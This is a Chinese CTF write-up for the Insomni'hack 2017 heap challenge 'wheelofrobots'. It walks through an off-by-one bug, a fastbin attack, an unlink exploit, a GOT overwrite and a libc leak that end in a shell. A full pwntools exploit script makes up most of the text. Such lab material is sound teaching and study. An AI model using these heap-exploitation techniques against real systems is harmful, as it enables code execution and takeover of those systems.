2017 insomni‘hack wheelofrobots

2017 insomni’hack wheelofrobots

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2017_insomni’hack_wheelofrobots

grxer@Ubuntu16 ~/D/p/heap> checksec wheelofrobots
[*] '/home/grxer/Desktop/pwn/heap/wheelofrobots'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

robots指针地址

0x6030e0 - robot 4
0x6030e8 - robot 6
0x6030f0 - robot 2
0x6030f8 - robot 1
0x603100 - robot 3
0x603108 - robot 5

大小

0x603138 - robot 2
0x603140 - robot 3
0x603148 - robot 6

程序add()里num = read_num((char *)&choice, 5uLL);存在off by one漏洞,会覆盖掉robots 2的inuse位,一切的一切都从这里开始

fastbin attach任意长度堆溢出

我们申请到robots2,大小控制到fastbin,0x20把,然后free掉这个chunk

这个时候fast bin0x20出现这个chunk指针,我们可以通过offbyone,重新使用这个堆,这个时候往这个chunk里面写入值,robots2+0x10已经不是原来的user data,而是fd指针,我们把他改为一个伪造的free chunk地址,申请0x20堆块的第二次,就可以申请到这个伪造chunk,那就可以实现地址读写,但是要绕过,fastbin 的size=0x21检测,伪造的free chunk+0x8需要=0x21,我们观察程序选择到0x603138,因为robots3,size是可控为0x21的,

在这里插入图片描述

我们拿到0x603138这个chunk后,会往0x603138+0x10=0x603148,即robot 6的size写入值,就可以实现任意大小堆溢出

add(2, 1)
remove(2)
overflow_benderinuse(b'\x01')
change(2, p64(0x603138))
overflow_benderinuse(b'\x00')
add(2, 1)
add(3,0x21)
add(1)
remove(2)
remove(3)
add(6,3)
add(3,7)
change(1,p64(0x80))

构造unlink

常规构造,不多bb

target = 0x6030E8
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
payload += p64(0x40) + p64(0xa0)
change(6,payload)
remove(3)

0x6030E8,地址写入0x6030D0

老办法

overflow_benderinuse(b'\x01')
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
payload = p64(0)*3+ p64(free_got)+p64(puts_got)+p64(atoi_got)
change(6,payload)

在这里插入图片描述

2 6 1可用 puts free atoi

change(6,p64(puts_plt))
remove(2)
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system=libc.dump('system')+base
change(1,p64(system))
sla(b'oice : ',b'sh\x00')

新办法

我们先

payload = p64(0)*2 + b’a’*0x18 + p64(0x6030e8)
change(6,payload)

把1的指针指向6,这样就可以写一个通用函数去修改

def write(where, what):
    change(1, p64(where))
    change(6, p64(what))

我们去利用start_robot打印出地址,由于打印结束后会exit,我们需要先hook掉这个exitgot,改为leave ret或ret即可

在这里插入图片描述

然后去修改got即可

payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
write(0x603130, 3)
leaveret=0x40172a
ret=0x40172b
write(elf.got['exit'], leaveret)
change(1,p64(elf.got['puts']))
sla(b'choice : ', b'4')
ru(b'great!! Thx ')
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system=libc.dump('system')+base
bin=libc.dump('str_bin_sh')+base
write(elf.got['free'], system)
change(1,p64(bin))
remove(6)

在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./wheelofrobots'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


def add(idx, size=0):
    io.recvuntil(b'Your choice :')
    io.sendline(b'1')
    io.recvuntil(b'Your choice :')
    io.sendline(str(idx).encode())
    if idx == 2:
        io.recvuntil(b"Increase Bender's intelligence: ")
        io.sendline(str(size).encode())
    elif idx == 3:
        io.recvuntil(b"Increase Robot Devil's cruelty: ")
        io.sendline(str(size).encode())
    elif idx == 6:
        io.recvuntil(b"Increase Destructor's powerful: ")
        io.sendline(str(size).encode())


def remove(idx):
    io.recvuntil(b'Your choice :')
    io.sendline(b'2')
    io.recvuntil(b'Your choice :')
    io.sendline(str(idx).encode())


def change(idx, name):
    io.recvuntil(b'Your choice :')
    io.sendline(b'3')
    io.recvuntil(b'Your choice :')
    io.sendline(str(idx).encode())
    io.recvuntil(b"Robot's name: \n")
    io.send(name)


def start_robot():
    io.recvuntil(b'Your choice :')
    io.sendline(b'4')


def overflow_benderinuse(inuse):
    io.recvuntil(b'Your choice :')
    io.sendline(b'1')
    io.recvuntil(b'Your choice :')
    io.send(b'9999' + inuse)


def write(where, what):
    change(1, p64(where))
    change(6, p64(what))

# db('b *0x004014B8')#change 2
# db('b *0x401314')#remove 3
db('b *0x401725')#exit
add(2, 1)
remove(2)
overflow_benderinuse(b'\x01')
change(2, p64(0x603138))
overflow_benderinuse(b'\x00')
add(2, 1)
add(3,0x21)
add(1)
remove(2)
remove(3)
add(6,3)
add(3,7)
change(1,p64(0x80))

target = 0x6030E8
fd = target - 0x18
bk = target - 0x10
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
payload += p64(0x40) + p64(0xa0)
change(6,payload)
remove(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

# first way++++++++++++++++++++++++++
# overflow_benderinuse(b'\x01')
# payload = p64(0)*3+ p64(free_got)+p64(puts_got)+p64(atoi_got)
# change(6,payload)
# change(6,p64(puts_plt))
# remove(2)
# puts_ad=u64(r(6).ljust(8,b'\x00'))
# p('puts',puts_ad)
# libc=LibcSearcher('puts',puts_ad)
# base=puts_ad-libc.dump('puts')
# system=libc.dump('system')+base
# change(1,p64(system))
# sla(b'oice : ',b'sh\x00')

# second way+++++++++++++++++++
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
write(0x603130, 3)
leaveret=0x40172a
ret=0x40172b
write(elf.got['exit'], leaveret)
change(1,p64(elf.got['puts']))
sla(b'choice : ', b'4')
ru(b'great!! Thx ')
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system=libc.dump('system')+base
bin=libc.dump('str_bin_sh')+base
write(elf.got['free'], system)
change(1,p64(bin))
remove(6)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值